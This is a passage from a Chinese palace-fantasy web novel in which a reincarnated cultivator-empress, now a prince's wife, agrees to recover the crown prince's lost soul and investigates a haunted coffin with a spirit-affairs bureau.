齐昭帝不耐烦地道:“朕刚准备和晋王妃下棋,你就来啰嗦,烦不烦
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?不就是六部议政吗?宴儿,你替朕去!”
“皇伯伯这怕是不妥……”
“有什么不妥的?去去去,别耽误朕下棋的雅兴!”
把东方宴打发走后,齐昭帝乐呵呵地和林倾月连下了三局。
三局皆败。
他很郁闷:“朕的棋艺冠绝天下,文武百官没有一个人是朕的对手。怎么在你手上却输得如此惨?”
林倾月道:“那是因为您是皇帝,没人敢赢您,您可不就冠绝天下?”
而林倾月就不一样了。
她在修仙界称王称霸的时候,有一阵子来了棋瘾头,天天找人下棋。
可一听她要下棋,底下人个个胆战心惊。
只因倾月仙君为了增加下棋的趣味性,每局都要设一个彩头。
以彼此的脑袋作为彩头,输掉棋局的人就要被砍脑袋。
性命攸关,谁敢不拼尽全力?
不过赢了也没什么好果子,倾月仙君丢刀过去,说:“愿赌服输,本座的脑袋就在这里,有本事来拿。”
“什么?你不敢。不行,必须动手,不动手就是看不起本座,本作要将你抽皮扒筋!”
总之,不管输赢,最后对方都把脑袋留下了。
传闻,修仙界有三大酷刑,其中之一就是和倾月仙君下棋。
如今倒是没落了,连赢三把,也没能赢下一颗脑袋。
齐昭帝闻言哈哈大笑:“一语中的!你果然与众不同,虽为女子却有豪杰风范。”
他使了个眼色,屏退了大殿内的所有人后,忽然话锋一转问:“若有一天,在家国和儿女私情间让你选择,你会选谁?”
这是在拿话试探了。
“不必试探”林倾月撂下棋子,学着东方起的口吻道:
“儿臣叩请父皇圣安。今已抵北疆赤霞,草原辽阔,风景如画。纵马时忽念少时父皇教儿骑射,感慨良多。惜父皇政务在身,不能同驰。东宫桔树应已丰收,望取最大最红者,供于母后墓前。儿虽在外,心常念之,望父皇保重。”
齐昭帝听罢,脸色瞬间就变了:“这是太子最后写给朕的信,你怎会知道?”
第55章 三魂缺一
太子至孝,即便外出也会隔三岔五地送信回京,专人专送。
齐昭帝收到儿子的信最为开心,通常都会把侍从都赶出去,一个人捧着信乐呵呵地看。看几遍之后,就藏到寝室的暗格里当宝贝一样收藏。
所以,就连他最贴身的大监都不知道太子书信的内容。
尤其这封信,是太子出事前送来的最后一封信。就在昨天,齐昭帝半夜睡不着时,又把信给翻出来看。读到动情处,老皇帝泪流满面。
“你到底是怎么知道的?”他的眼神充满了警惕,身子也下意识地往后挪了挪。
林倾月却是一副轻松自然的模样,似乎她才是掌控天下的君主,任何人在她面前都不值一提。
“我若说是太子亲口所诉,陛下可信?”
“你说什么?”齐昭帝有些诧异,“太子亲口告诉你的?什么时候?”
于是,林倾月简单地把怎么遇到小花,小花又为何成为她的猫,都向齐昭帝说了。
齐昭帝起初惊讶,后又欣喜,最后激动落泪:
“吾儿果然有大造化,幸甚!幸甚!”他激动地站起来,“接太子回宫,朕要亲自接太子回宫!”
他忽然又站住了脚步,狐疑地问:“既然太子魂魄归来,为何没有随你回宫见朕?”
林倾月道:“因为他回来的只是一魂一魄。若要他康复如初,需得三魂俱全,肉身俱全才可。”
“也只有一魂?”
事到如今,齐昭帝自然没什么好再隐瞒的,便如实地对林倾月道:
“那日太子遭遇不测后,所幸朕在他身后另外派了暗卫。暗卫将其救回,并送回京城,却发现,他的体内就只剩下一魂。”
“因此,虽然能维持他肉身完好,却如活**一般整日昏睡。朕怕被有心人算计,对外并不曾公开太子的真实情况。”
“为了找回太子丢失的魂魄,朕先后派出了几批人马去寻找,可惜遍寻无果……”
人有三魂,分别为:天魂、地魂、人魂。
随着肉体回来的为人魂,小花身体里的则是地魂,唯一欠缺的是天魂。
天魂乃是三魂中最为重要的一魂,代表这先天的原魂,也决定着寿命长短。若天魂一失,就算其他灵魂归位,也命不久也。
林倾月问:“陛下派出去寻找的人,就一点收获都没有?”
齐昭帝道:“倒也不是完全没有。太子最后出现在赤霞郡,赤霞位于齐国边境,越过边境就是赤影之地。太子的魂魄很有可能到了那里,否则国境不可能遍寻无踪。”
“赤影之地,朕当然也派人潜入过。但是所有派去的人,无一人归来。”
他看向林倾月,目光里含着几分希望:“晋王妃,你可有办法?若你能帮朕聚齐太子三魂,另太子复活。你想要什么朕都可以答应,哪怕你要扶持晋王为帝,朕也可以立刻下旨立东方宴为太子。待你救得太子归来,朕就禅位与他。”
“朕已经老了,不想白发人送黑发人!”
那高高在上的帝王,此刻却红了眼眶,看起来就如寻常人家的老父亲一样,担忧着儿子的生死。甚至愿意用皇位作为交换!
这一刻,帝王的感情是真挚的。可林倾月若是当真了,那她才是蠢!
林倾月淡淡一笑:“东方宴当不当皇帝与我无关。只是事成之后,希望陛下等答应我一件事。”
……
从齐昭帝那边出来后,林倾月就碰到了刚刚开完六部政议的东方宴。
东方宴看林倾月,快步过来,询问:“陛下把本王支开单独留你,说了些什么?”
林倾月笑道:“你皇伯伯问我,谁适合做储君。还说,若是我看中了谁,他就立谁为太子。”
东方宴面色一沉,压低声音说:“这是皇宫,休要胡言乱语!若是叫言官听去,参你一本,本王可不护着你!”
林倾月耸了耸肩,无奈地道:“你看你非要问,我说了你又不信。”
东方宴见她一副玩世不恭的样子,猜测圣上也不会和她说什么重要的事。
于是他叮嘱道:“本王还要向陛下报告六部的政务。你先回去,刚才那些疯话可不能再乱说!”
林倾月笑盈盈地
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应了一句:“好。”
突然这么温顺,东方宴都忍不住皱眉:她是不是又在算计什么?
林倾月没有直接回王府,而是又去了趟玄镜司。
玄镜司里,谢守正正在给手下人指派工作:
“大米,你把最近收集的情报整理成报告,本官要一一过目。”
“小七,七宝斋老板被鬼上身的事情,怎么还没处理好?执念不是都了吗?再闹,就是无理取闹了!直接拿柳条抽一顿再说!”
“小六,你不是一早带人去给顾家小姐超度吗?怎么这么快回来了——哎,林副使你来了?听闻你进宫面圣去了,我还道你今日不会来玄镜司了。”
林倾月道:“陛下政务繁忙,和我下了几盘棋就去忙了。谢大人,我来是有事要和你说。”
谢守正道:“你等等,我把手下人的事情安排好再同你说——小六,顾家那边到底什么情况,瞧你急得满头大汗。”
小六是个二十多岁,长得微胖的男子,从小跟着做道婆的奶奶长大,也学了些本事。后来被谢守正收入玄镜司,做一些超度、驱邪之类的法事。
顾家长女吊死在家里,恐不吉利,于是提前请了玄镜司的人在今日出殡的时候帮着做做法事,让顾小姐安息。
小六一早就带了几个人去了顾家,法事做完后。顾家本要出殡入葬,可棺材却死活抬不起来。
小六过去问灵,只听棺里隐约传来哭泣之声。打开棺材查看,就见棺材里到处都是血淋淋的抓痕,吓倒了一片人。
谢守正听罢也吓了一跳:“难道人没死给封在棺材里了?”
小六道:“入殓前,人已经死透了顾家的人说,顾小姐七日前自悬房梁而死。确定人已经咽了气,才收敛入棺。棺材又在灵堂停放了七日,今日停尸期满才准备下葬。再者,一般夜间也有人守夜,若真被封在棺里,也不可能没人发现。”
谢守正点点头:“那就只有一个可能,死后诈尸闹腾的。”
小六道:“卑职也这么认为,所以便立刻回来报告。大人,这事该如何?”
第56章 救太子的办法
谢守正喊道:“大米,你来报告下顾家的情况。”
大米立马从一叠资料里翻出顾家相关的内容:
“顾家乃是皇商,大齐最大的茶商。顾家当家人顾淮,本名孙淮,寒门出生,二十岁入赘士族顾家,改为顾姓,后又获封‘文商侯’跻身士族之列。”
“死者顾念雪,顾淮嫡长子。16岁嫁入前任尚书令府做填房,26岁时被休回娘家。”
“此后一直疯疯癫癫。疯病最严重的时候,还举刀欲杀全家。”
说到最后,大米还叹息了一声:“哎可惜咯,听说当年可是京城第一美人呢!”
谢守正神情严肃:“这恐怕有些棘手,得本官亲自走一趟了!”
说着,他抓过乌纱帽就急吼吼地要走,忽然又想起林倾月来,转过头问:
“林副使,你刚说有什么事要和本官说?要不等本官处理完顾家的事再说?”
林倾月叹息了一声:“算了,等你忙完再说吧。我先回去换身常服,这一身吉服也不方便办公。”
谢守正没多想,应了一声后就匆匆忙忙地跑了。
林倾月就先回了王府。
小花见她回来,立刻迎上来喵喵叫。
碧儿笑着说:“小花这猫傲气得很,我们逗弄它,它都爱答不理。可王妃您一来,它就完全是两副样子。”
说着她蹲下来戳戳小花的脑门:“臭小花,别忘了每天喂你吃喝的可是我碧儿!”
小花无奈,只好扭过头冲着小丫鬟夹了一声。
碧儿只感觉一颗心都要被萌化了,立刻又化身猫奴:“好了好了,逗你玩的!碧儿姐姐怎么舍得不给你吃喝呢?等我服侍王妃换好衣裳就去厨房给你弄好吃的!”
小花虽然记挂着皇宫里的事,但听到林倾月要更衣了,立马识相地避了出去。
碧儿笑着对林倾月道:“这猫居然还知道避嫌,真是聪明!我那天特意问赵总管小猫如何区分公母。赵总管告诉我……”
她掩唇一笑:“我刚瞧过了,小花是小公猫!”
小花本来都快要出跳出栖梧殿的门槛,忽然听到这话猛然一惊:“瞧过了?瞧的什么地方?不会是……”
就这么一个分神,就被门槛给绊得跌了个大跟头。
碧儿,你当真是欺猫太甚!
等林倾月换了衣服,小花还垂头丧气地躲院里的草丛里,感觉没脸见人了。
听到林倾月在喊:“小花,小花!”
小花叹了口气,然后又装作什么事都没发生过一般,姿态优雅地迈入殿内。
碧儿已经被打发走了,栖梧殿也没有其他下人在。
小花才稍微放松了些,忽然又感觉林倾月的目光有意无意地朝自己看来。
他赶忙夹紧了尾巴问:“你在看什么?”
林倾月道:“我在看你身上的魂,确实只有地魂。”
听到这话,小花方才解开刚才的郁结,跳到林倾旁边的椅子上坐下:“今日进宫情况如何?”
林倾月道:“该说的都说了。你爹想见你,你若是愿意的话,今晚从西宫门那边进去。他会安排人接你入宫。”
小花想了想,道:“也好,我去见见父皇。”
父皇一贯谨慎,光靠一个口速的信件内容,他未必能全信。
林倾月又道:“现在有一个好消息和一个坏消息:好消息是,你肉身完好,你寄居在猫身的魂魄可以回归本体。坏消息是,尚缺一抹天魂,找不回来的话你只能活三个月。”
听到好消息,小花耳朵竖起,尾巴高高扬起。待听到坏消息,尾巴瞬间耷拉下来。
“那抹天魂……可有踪迹?”
小花作为人的时候,对于这类玄异之事也多有涉猎。只是如今当局者迷,他看不到自身的情况,因此一直不知道自己只有一抹残魂。
原本以为只要肉身在,魂魄回归就能恢复无常,如今才知道恢复是能恢复,但是很快会噶。
林倾月把玩着垂下来的长发,道:“你爹对你还算上心。这一年以来,派了不少奇人异事去帮你搜魂。国境内搜不到,还去了赤影之地,结果去的那几批人马统统失踪。”
小花道:“当日我去赤霞郡巡视边军。赤霞过去,就是赤影之地,那里常年阴风作祟。有时会把脏东西吹到齐国的边境,故而要在边境上设立防护阵,防止妖邪侵犯。”
“守卫赤霞的边军,其
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实过得非常艰苦。我在赤霞呆了两日,便准备返程。快要走出赤霞的时候,突然遇袭。”
“我一直以为可能是自己队伍里出了奸细,毕竟在齐国境内,还是有不少人想要我的命。”
“但如今看来,此事可能和赤影之地那边的诡异有关。”
林倾月点了点头:“所以说要找回你丢失的那一抹魂魄,还是往赤霞、赤影那边去找。可惜你父皇派去的人啊,大约也是酒囊饭袋,事没办好自己还搭进去了。”
小花抬起琉璃般的眼眸望着林倾月:“所以,我父皇是托你去边境帮我搜魂吗?”
林倾月挑眉微笑:“难道你不希望我救你?”
“想。”他堂堂太子之尊,困在这具猫身里,当然憋屈,当然想回归原身!
“但是……”
他顿了顿后,才继续道:“但你可能不知道那赤影是什么样的存在。那是阴阳两界交汇之地,至阴至邪之境,普通人根本不能靠近。”
“听说是上古时期,流放罪大恶极的妖兽邪祟之所,后来渐渐自成一国。”
“好在那里的邪物虽然强大,但适应了至阴至邪之境,就无法再适应正常世界里的阳气。所以不敢随便冒犯外界。可生人若是闯入其中,后果不堪设想。”
“所以,除非你有完全的把握,否则不要随便涉险。毕竟那里危险重重,不似京城这般,纵有邪祟也不成气候。你从不欠我什么,甚至还对我有过救命之恩,我不希望你无辜送命。”
林倾月没想到,这种时候,小花不是第一时间求她救自己,而是在分析利弊。甚至建议她不要随意去冒险。
林倾月问他:“和你已经没有多长时间可以继续等待了。天魂一失,肉身支撑不了太久。你难道想永远做一只猫?”
小花苦笑:“若我的那一抹天魂,真的落到了赤影之地,再无回来的可能。既然已无生机,又何必拖累你的性命?”
“你倒是想得开。”
“既如此,与其怅然,不如接受现实。反正我进来当猫,也当习惯了。”
习惯?
刚才还因为碧儿的话,躲起来不敢见人。他以为林倾月不知道吗?
第57章 狗王爷的深情告白
林倾月笑盈盈地道,“可我偏不信,这世上还有什么地方是我去不得的。”
要知道,当初的倾月仙君可是邪祟魔物的祖宗,如今就算跌了境界,也不至于害怕那些玩意儿。
小花沉吟片刻,问道:“你当真想清楚了?如果你不去,可以继续当你的晋王妃,哪怕将来要和东方宴和离,有着玄镜司副使的职位,你也能过得怡然自得。”
“你也不用担心我父皇逼你,父皇那边我会说。为了我的事,已经让太多人送了命了,没必要再搭上你。”
林倾月不耐烦了打断:“就算我找不到你的那一抹天魂,没有办法让自己全身而退。小花,难道你不信我的实力?”
小花是相信林倾月的,他也不知道为什么从见她的第一面,就有种似曾相识的感觉。哪怕她是晋王妃,内心依然对她深信不疑。
“我相信你,可…”
“相信就行了,不必啰嗦。再说我救你,也是有所求的。我可不是什么喜欢助人为乐的好人。”
这话说得也真。
她的前世可是统治过整个修仙界的女帝啊,怎么也不可能心甘情愿地做个小小王妃。
权势,是她从前世起就刻进骨髓里面的欲望。
而眼前的太子,是她最好的踏脚石。
齐昭帝提出用天下做交换,换取独子的平安复活。他以为,作为林倾月作为晋王妃就会想让晋王当皇帝?
呵呵,他们都错了!
夜晚,林倾月亲自把小花带去宫门口,看着他被齐昭帝的心腹大太监接走。走的时候,还一步三回头,愣是走出了生离死别的感觉。
林倾月都忍不住皱眉:“小花怎么那么优柔寡断?”
林倾月走到另一个宫门口时候,东方宴正好从里面出来。
看到林倾月的身影出现在宫门口,他眼中浮出一抹欢喜,但很快又习惯性地冷着脸。
“你是来接本王的?等了多久?”
林倾月:“?”
她旋即又笑:“你可能误会了,我只是恰好路过,恰好碰见了你。”
恰好?谁没事会路过皇宫门口?
东方宴冷哼一声:“林倾月,你为什么总是口硬心软?算了,回家吧。本王不想总和你吵来吵去的。”
伤夫妻感情。
林倾月被他逗乐了,春葱玉指挑起东方宴的下巴,痞里痞气地问:“尊贵的晋王殿下,你该不会对我动心了吧?”
东方宴的身后站着十几个贴身侍卫,城门口还有禁卫军把手,禁军统领还在探头探脑地窥探。
而东方宴就这么被媳妇给当众调戏,甚至说出来的话,都是这般轻浮无状。
东方宴顿时觉得面子挂不住,一把推开她,并且想要呵斥一声:“放肆”,可出口的话却是:“对。”
林倾月还以为自己听岔了,皱眉问道:“你说什么?”
东方宴气恼至极:“说什么?你觉得本王能说什么?林倾月你很得意是不是,轻而易举就让本王为你动心!”
可说着说着,他的声音就轻柔了几许,眼神也慢慢温柔了些:“可你本就是本王的妻,本王喜欢你,也是理所应当的。林倾月……倾月……”
林倾月她一开始只不过是想要逗弄一下而已。
没想到,狗王爷居然真的开始深情告白了。
林倾月眨巴了下眼睛,“哦”了一声,然后转身就走,一点不带犹豫。
“林倾月!”东方宴追上来,拦住了她的去路,眼底深处带着几分破碎的情绪。
“本王说的那些话,你听完就没一点感觉?就回给本王一声‘哦?’林倾月,你这个女到底有没有心?”
林倾月提醒他:“你最近不是要娶庶妃吗?记得把刚才的那番话,在洞房花烛夜的时候和林如珍也说一遍,我想她应该会给你想要的回应。”
东方宴沉默了一瞬后,问:“你是因为嫉妒,所以才故意冷淡地对待本王?林倾月,本王已经给了你正妻之位。而珍儿只是庶妃,她无法和你相比,你又何必锱铢必较?”
“锱铢必较?”林倾月笑了,“没有啊,我真心地祝福你们白头偕老,永远绑死。”
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就在这时,大米骑着马急吼吼地奔来:“林副使,大事不妙!顾家那边的事情,谢大人也搞不定了,让我喊您过去帮忙!”
林倾月叹息:“谢守正到底能搞定什么事?”
她利索地翻身上马,“走,去顾家!”
东方宴在后面喊她,她也置若罔闻,一骑绝尘很快消失在夜色里。
“这个女人简直!”他气得咬牙切齿,“简直越来越放肆了!”
赵安悄悄地凑上前来,“殿下,王妃是不是在和你置气?您才娶了她不过月余,便要纳庶妃。这搁谁心里都不好受,不如缓一缓?”
缓一缓的话,林倾月就不会再用这样的态度对本王了吗?
可本王乃是堂堂晋王,岂能被一个女人牵着走?
沉吟良久,东方宴吩咐道:“不缓,按之前的吩咐去办吧。”
他偏就不信了,林倾月还能一直跟自己怄气下去?
长宁侯府。
“父亲,晋王只是让女儿做他的庶妃?您没弄错吗?这怎么可能呢?”此刻,林如珍正在林霄跟前哭哭啼啼的。
明明不久前,晋王可是答应得好好的,要让她做侧妃的,怎么就突然变成了庶妃?侧妃还有一争之力,可庶妃却等同于末等小妾。就算将来正室**,她都没资格续弦。生了儿子,地位也不会太高。
林霄无奈地道:“晋王,已经知道了你的身份,还因此怪罪我们林家隐瞒真相。他能给你留个庶妃的位置,已算是重情重义了。哎,珍儿你就认命吧。你的身份已经揭穿了,没有哪个清贵之家会娶你做正妻了。”
“什么!”林如珍心头一惊,也顾不得哭了。
“晋王知道了?他……他怎么会知道的?林倾月,一定是她告诉晋王的!爹,您三令五申再三让她保密,可她居然告诉给了晋王,害得女儿丢失了侧妃之位,也是林家的损失啊。爹爹您……”
“住口!”说话的是林如风。
“父亲,事到如今她居然还想挑拨您和倾月妹妹的父女之情。真是用心险恶!”
第58章 羞辱
林如珍哭唧唧:“哥,你怎可这样说我?你之前不是一直说,林倾月不配当你妹妹吗?不是说,珍儿才是你唯一认可的妹妹吗?怎么……”
“我和父亲说话,怎么轮得到你这个养女插嘴?”林如风冷声下令,“来人,把小姐送去祠堂思过。出嫁之前,不准出来!”
林如风作为林家长子,有权利处置内宅的事情。所以,他要处罚林如珍的时候,林霄便不会驳他的面子。
等下人们把哭哭啼啼的林如珍拉走,林霄才对林如风道:
“珍儿虽说只能做个庶妃,可她要嫁的也是晋王,你就不怕她……”
“不怕!”林如风毫不在意地道。
林如风之前受过林倾月的恩惠,又知道林家人之前的刻薄,所以在种时候肯定要帮着说话。
“正所谓疏不间亲,可林如珍却一次次离间林家和亲生女儿之间的感情,其心之恶,犹如蛇蝎!”
“父亲,您之前轻视倾月妹妹,不外乎是觉得她没有读过书,没受过贵族教育,怕坐不稳晋王妃的位置。可那天儿子亲眼看到晋王和她举案齐眉,甚至看在妹妹的面子上,还和儿子也亲切谈了许久。”
“这足以说明晋王对妹妹的看重!所以现在您该做的,是努力地维系好和妹妹的父女关系。而不是为了个没有血缘的养女,让亲生女儿寒了心。”
林霄点点头:“言之有理。那你觉得,珍儿和晋王的婚事咱们该怎么处理?”
“既然是庶妃,那规格肯定不能超过正妃。”林如风想了想道,“到了那日,一顶小轿从后门抬出去就是了。”
“这会不会太寒酸了?”
“要的就是寒酸。”
林如风悄悄地派人请示过林倾月,如果她不愿意林如珍进王府,他就帮她解决掉后患。
可林倾月却说:“不必”。
虽然林如风不知道林倾月打的什么主意,可就算要发嫁林如珍,也不可能让她风风光光的抢了林倾月的风头。
“晋王向来最看重尊卑有序。否则也不会在知道林如珍身世后,将她降为庶妃了。若是父亲大张旗鼓地操办,反而不美。”
“那行,就这样。”
林霄对林如风如今的表现很是满意。
自从被蛇妖上身之后,他不再出去鬼混,说话办事也越来越有未来家主的风范了。也算是“因祸得福”吧!
此刻,林倾月被大米带去了顾家。
站在顾家门口的时候她还以为大米带错了路:
“顾家不是皇商,大齐第一首富吗?顾家长女怎么停灵在此?”
齐国士农工商,商人地位是最低的,但官商、皇商除外。
比如盐、铁、茶、米等重要物质的买卖,都是由士族垄断,赚的钱不可估量。
顾家主要做茶叶生意,上到皇亲贵族桌上的香茗,下到街头茶馆、乡下村里百姓杯中的茶沫子,天下的好茶、劣茶都在顾家的买卖里。
除了富之外,顾家还十分显贵。
二十年前,大齐遭逢饥荒,饿殍遍地。那时,齐昭帝刚刚登基,国库紧张,正危难之际是顾家带头全款捐物,帮着一起度过了这次难关。
事后,齐昭帝封顾家家主顾淮为“文商侯”,虽非实职,但却是荣誉的彰显。
因此,当林倾月推开陈旧的木板院门、看到朴素的小院,以及简陋的灵堂时,还以为走错了地方。
她并没有走错,谢守正带着人迎了出来。
他显得有些无奈:“又是一个成了‘厉’的,先前那个王灵儿好歹还提了要求,让我们知道她的执念,也好化解。可这个,不论本官怎么问,就是不肯回答,实在叫人弄不清,她的执念到底是什么。”
“没办法,本官只好叫大米请了你过来。林副使,要不用你的溯梦回影,重现逝者生前的记忆,好给我们一些提醒。”
林倾月点了点,走到棺材前,忍不住问:“顾家不是很有钱吗?怎么让自家的长女住这种地方?还有棺材,单薄的还不如家境殷实些的平头百姓。”
谢守正道:“听说顾小姐当年被休回家后就疯疯癫癫的,总是做一些异于常人的举动。前阵子突然清醒了,可却跟自己家的家奴好上了,为此惹怒了父亲顾淮,一怒之下被赶出家门。”
“这院子,
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便是顾小姐当初和家人**后,自己置办的房产。本来是准备和家奴双宿**,谁知惨遭抛弃。顾小姐伤心之下,自缢身亡。”
林倾月又问:“她家人呢?怎么只有几个丫头和婆子给她守灵?”
谢守正道:“文商侯这段时间不在京城,顾小姐的事已经快马加鞭差人去报了,估计也他也快回来了。至于顾家夫人……说是白发人给黑发人送葬不吉利,因此不出席葬礼。便派了几个丫鬟婆子过来张罗。”
“看来这顾大小姐和顾家人关系确实不好。”
想来也是正常,被休会娘家的妇人,在娘家肯定不受待见。又突然和家奴好上了,这简直就是有辱门楣。
顾家能出人帮着料理后事,就算是顾念情分了。
林倾月使了个眼色,大米赶忙上前推开了棺材盖子,露出已经死亡了七天的顾小姐。
棺材盖上还有抓挠的痕迹,而顾小姐手上的指甲有木头屑,指头却是发青发黑,这是人死后指头僵硬却还用力落下的痕迹。
林倾月道:“确实已经诈过尸了。之前时辰不到,戾气不重,所以没能破棺而出,只是在棺材里留了些痕迹。不过今晚是她的头七回魂日,若不妥善处理,只怕会很凶。”
谢守正道:“本官也是这个意思,早些送走免得闹出事来。”
林倾月正要用溯梦回影,这时院门“砰”的一声被推开,进来了两个中年男人。
“什么人?”司卫喝问。
其中一人对谢守正拱了拱手,道:“你们是玄镜司的人吧?鄙人乃是文商侯顾家的大管家。在下身边之位是我们顾家专程请来做化解阴事的民间高手,来给小姐念经超度,让小姐早入轮回。”
谢守正道:“暂且靠边,等我们化解了顾小姐的执念,你们爱怎么超度就怎么超度!”
顾管家道:“我家夫人的意思是,此事不再劳烦玄镜司了。”
说着,他拿出一包银两奉上。
谢守正接过银两就砸了过去,骂道:“你当我们玄镜司是什么?你们召之即来,挥之即去人吗?居然还拿钱来羞辱,简直可恶!”
第59章 棺镇亡魂
顾管家笑道:“谢大人真是好大的官威呀。以往只知玄镜司是朝廷设立的衙门,为百姓分忧解难。今日才知,玄镜司竟然还是属狗皮膏药的。在这里折腾了一天了,也没把事情解决。我们另请高明,还奉上礼金,已算是客气周到了。你们却赖着不走,这又是什么道理?”
“你说什么?”谢守正恼了。
大米和其他在场的司卫们,也围上来要动手给管家一个教训。
这时,那被管家带来的男人已经勘察完了周围的情况:“久闻玄镜司大名,原以为是多么厉害的人物,如今看来也不过如此,连这点小事都处理不了!”
谢守正喝道:“你又是个什么东西,敢质疑我们?”
那男人道:“在下李天胜,见过谢大人。听说谢大人在这里一天了,也没能化解顾小姐的执念,既如此不如在下试试?”
他走到棺材前,絮絮叨叨地念了一番,而后低喝一声:“顾小姐,请上路!”
“砰!”棺材盖被重重地合上。
顾家请来的舆夫们立马上来抬棺。
说来也奇,原本怎么都抬不动的棺材,在那李天胜几句念道之后,就轻轻松松地抬起来了。
连谢守正都觉得不可思议:“这执念都没化解,怎么就突然肯走了?”
顾管家嗤笑:“看来玄镜司也不过如此。谢大人,接下来还要办下葬仪式,你们玄镜司的人难道也要跟去吗?”
林倾月道:“既然顾家自己能解决,我们就不必跟着凑热闹了。”
说完,她带头先走,走到一半时居然还弯腰将刚才的那包银钱捡了起来,笑着对那管家说了一句:“多谢了。”
顾管家冷笑:什么玄镜司,不过是一伙没见过银子的乌合之众!
“顾管家是吗?”林倾月顿了顿,忽又嫣然一笑,“我观你印堂发黑,实乃大凶之相,恐命不久矣。”
丢下这句话后,林倾月便和玄镜司的人一起走了。
顾管家气恼至极:“说谁大凶只相?谁命不久矣?你这是诅咒,我等禀报我家夫人让你们玄镜司吃不了兜着走!哼,玄镜司里居然还有女人,果然是乌合之众!”
骂了两声后,顾管家扭过来问那李天胜:“这样就能直接下葬了吗?不会走到一半,又不肯走了吧?”
“不会。”李天胜笃定地道,“她的魂魄已被我定住,不敢**。等下葬的时候,我会再用银钉钉住她的四肢,就能让她的魂魄永镇棺内!”
回去的路上,大米和底下的兄弟们都愤愤不平:
“顾家真是欺人太甚,谢大人,带着我们在这里忙活了一整天。结果他却另外请人来把我们顶走了,这简直就是在侮辱人!”
“区区一个管家,居然那么狂妄,也不知道是谁给他的胆子!”
“还说我们是乌合之众,我看他们才是家风不正,所以才有那种不知天高地厚的恶奴!”
这种事情,谢守正也是头一次遇到,难免恼火:“林副使,你干嘛要把那包银子的捡走,要他们的臭钱干什么?自以为有两个臭钱就目中无人了,可恶!”
林倾月道:“兄弟们忙前忙后辛苦了一整天,拿点钱怎么了?何况又是他们自己给的,不要白不要!”
谢守正为难地道:“可咱们玄镜司是吃皇粮的,上头有规定不能随便收受好处费,否则就算**!”
“所以我没打算私自昧下。”林倾月说着,直接把那钱丢给谢守正。
谢守正立马跟捧了个烫手山芋似的嚷了起来:“哎哎林副使你这就不对了,你想让本官犯错误啊!”
林倾月挑眉一笑:“我只是把别人给的好处费上交了。如此以来,这钱就可以入公账。入了公账的钱,拿出来犒劳下兄弟,这不是理所应当的吗?”
其他的司卫们也纷纷起哄:
“对对,兄弟们还没吃晚饭呐!”
“忙活一天,中午就啃了大饼,这会儿真饿得前胸贴后背。”
“我也饿了,正好咱们去吃一顿!”
谢守正还在为难:“还是不合适,这……”
“没有什么不合适的,事后写个折子说明一下,圣上还能在乎这点小钱?走,去天香楼!把司里其他的兄弟们也喊上!”林倾月才不像谢守正那么迂腐,打头去了天香楼。
在玄镜司待的这段时间,林倾月也看清了这里的情况。
说是官家衙门,实则上下人等大多不过是普通衙役的待遇。满衙之中,唯有谢守正一人有正式官身,能领些微薄俸禄。
平常出去需要用到的吃喝花销,也都是他用自己的俸禄贴补。
粗茶淡饭也就罢了,可一旦撞上棘手差事,上至主官下至衙役,个个都得去拼命!
这些也就算了,最让人受不了的就是那些自诩尊贵的豪门大户。用得着他们的时候,
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笑脸相迎。用不着的时候,连个管家都能出来言语侮辱。
听谢守正说,以前太子在的时候,还能给他们撑腰,且时开私库给他们补贴。
太子出事后,玄镜司也就跟着江河日下了。皇帝虽还用得上他们,可他身处于高位,根本想不到底下人三瓜两枣的事。
看到大伙在天香楼大快朵颐,毫无吃相的样子,谢守正忍不住叹息:“是本官亏待了兄弟们。”
大米啃着大肘子,满嘴流油地道:“大人不要这么说。其实能有个安稳日子,兄弟都很知足。但若是以后也能经常有这种大餐吃,兄弟们也不介意!”
谢守正笑骂了一声:“你倒是想得挺美!”
他转过头来给林倾月倒了酒,询问:“对了林副使,你最后对那个顾家管事说的那些话,是什么意思?他真有血光之灾?”
林倾月抿了口酒微微一笑:“没错。”
……
夜色如墨,孤鸦低鸣,油绿色的磷火在乱葬岗上像一个个无主的游魂。
“咚!咚!咚!”那是镇魂钉嵌入骨头发生的闷响声。
“顾念雪,碑前黄土压尔骨,棺中方寸镇尔魂!”
“咚!”镇魂钉,钉**她的双手。
“顾念雪,今生缘尽,来事路断,勿扰生人!”
“咚!”镇魂钉,钉**她的双脚。
早就死绝的女子,七窍流出了血泪。
可这依然没能换回一点怜惜。
“盖棺,下葬!”
管盖被重新合上,落进了提前挖好的坑里。
黄土洒落,埋葬了女子的一生以及她背负的秘密。
“大小姐啊,你好好的待在棺里吧。别怪咱们狠心,要怪就怪你自己命不好。谁叫你要回到顾家,看到了不该看的东西呢?”
“刚刚埋上的土在颤动着,仿佛里面有什么东西,拼了命地想往上拱。
可很快,墓碑落下,犹如最后一根镇魂定,使得那片土堆瞬间安静下来。
墓碑上刻着简单一排字:“无名氏之墓”。
眼见事情了解,顾管家带人离开,心里的一块大石也终于放下。
夜色浓得如化不开的怨恨,月光都无法照耀在这片漆黑之地。
不知何时,一个人影站在墓碑前,低沉的声音里透着压抑的恨:“顾家,真是够绝,竟连个名字都不给你!”
风声送来呜咽,那是棺内亡魂在哭泣。
第60章 太子要归位?
林倾月刚刚回到晋王府,就看到了小花在大门口徘徊。
“你不是进宫去了吗?”
他没有回话,只翘着鼻子嗅了嗅,“你身上有酒味,还有很浓的阴气?”
“你的鼻子倒是灵光。酒味是因为晚上和谢守正他们几个喝了几杯,至于阴气……那应该是在顾家沾染的。”
那位顾大小姐怨气那么大,他们却不化解、不超度,直接封棺下葬不出事才怪。
可没办法啊,好言难劝该死的人!
林倾月没有过多解释,将话题转到小黑身上,“你们父子重逢,我还以为你会留在宫里。”
事实上,齐昭帝确认了,小花的猫身里附着太子东方起的一抹地魂后,就想让他留在宫里,免得再遇危险。
小花道:“虽然如今回来的,只剩两抹魂魄,但二魂合一,可暂归肉身。”
“你要回肉身?”
他能以一抹残魂附在猫身上,乃是机缘巧合,再用个一两年也不是问题。而一旦舍弃了猫身,猫的身体就将迅速**,不能再用了。
而一旦回到原身后,由于缺少一抹天魂,只有三个月的寿命。若是不能找回丢失的天魂,将不能再变回猫。
“我知道后果。”小花甩了甩尾巴,道,“可若是一直藏在猫的身体里,太不方便。”
主要是,他实在不想再被人盯着屁股辨别公母。
当然,这一点他是不可能说出口的。
傲娇的小猫仰着头,琥珀色的眼眸里,倒映着林倾月的影子。
“等我回到原身后,我会随你一起去往赤影之地。”
“你也要一起去?”
“赤影地域广大,就算我的天魂落在其中,想要找到也如大海捞针一般。但我若是去了,便能感应到,能减少搜寻的时间。”
“我是无所谓,关键是你父皇能放你吗?”
“我父皇已经答应了。”
